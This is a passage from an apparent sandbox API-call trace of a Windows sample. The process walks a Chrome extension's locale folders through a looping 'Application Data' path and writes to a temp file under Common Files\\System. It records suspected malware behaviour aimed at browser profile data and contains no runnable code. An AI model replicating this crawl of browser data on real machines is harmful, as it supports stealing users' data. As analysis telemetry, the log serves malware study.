lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0134.324] GetFileType (hFile=0x194) returned 0x1 [0134.324] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0134.416] AreFileApisANSI () returned 1 [0134.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0134.416] GetFileType (hFile=0x198) returned 0x1 [0134.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0134.508] AreFileApisANSI () returned 1 [0134.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.509] GetFileType (hFile=0x19c) returned 0x1 [0134.509] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x3321d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.509] AreFileApisANSI () returned 1 [0134.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.509] GetFileType (hFile=0x19c) returned 0x1 [0134.509] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x3331f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.509] AreFileApisANSI () returned 1 [0134.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.509] GetFileType (hFile=0x19c) returned 0x1 [0134.509] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33421, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.510] AreFileApisANSI () returned 1 [0134.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.510] GetFileType (hFile=0x19c) returned 0x1 [0134.510] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33523, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.510] AreFileApisANSI () returned 1 [0134.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.510] GetFileType (hFile=0x19c) returned 0x1 [0134.510] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33625, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.510] AreFileApisANSI () returned 1 [0134.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.510] GetFileType (hFile=0x19c) returned 0x1 [0134.510] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33727, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.510] AreFileApisANSI () returned 1 [0134.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.511] GetFileType (hFile=0x19c) returned 0x1 [0134.511] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33829, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.511] AreFileApisANSI () returned 1 [0134.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.511] GetFileType (hFile=0x19c) returned 0x1 [0134.511] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x3392b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.511] AreFileApisANSI () returned 1 [0134.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.511] GetFileType (hFile=0x19c) returned 0x1 [0134.511] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33a2d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.511] AreFileApisANSI () returned 1 [0134.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.512] GetFileType (hFile=0x19c) returned 0x1 [0134.512] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33b2f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.512] AreFileApisANSI () returned 1 [0134.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.512] GetFileType (hFile=0x19c) returned 0x1 [0134.512] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33c31, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.512] AreFileApisANSI () returned 1 [0134.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.512] GetFileType (hFile=0x19c) returned 0x1 [0134.512] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33d34, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.512] AreFileApisANSI () returned 1 [0134.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.513] GetFileType (hFile=0x19c) returned 0x1 [0134.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33e36, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.513] AreFileApisANSI () returned 1 [0134.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.513] GetFileType (hFile=0x19c) returned 0x1 [0134.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x34000, nFileSizeHigh=0x0, nFileSizeLow=0x33f38, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.513] AreFileApisANSI () returned 1 [0134.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.513] GetFileType (hFile=0x19c) returned 0x1 [0134.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x3403a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.514] AreFileApisANSI () returned 1 [0134.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.514] GetFileType (hFile=0x19c) returned 0x1 [0134.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x3413c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.514] AreFileApisANSI () returned 1 [0134.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.514] GetFileType (hFile=0x19c) returned 0x1 [0134.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x3423e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.514] AreFileApisANSI () returned 1 [0134.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.514] GetFileType (hFile=0x19c) returned 0x1 [0134.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34340, dwReserved0=0x0, dwReserved1=0x1, cFileName="", 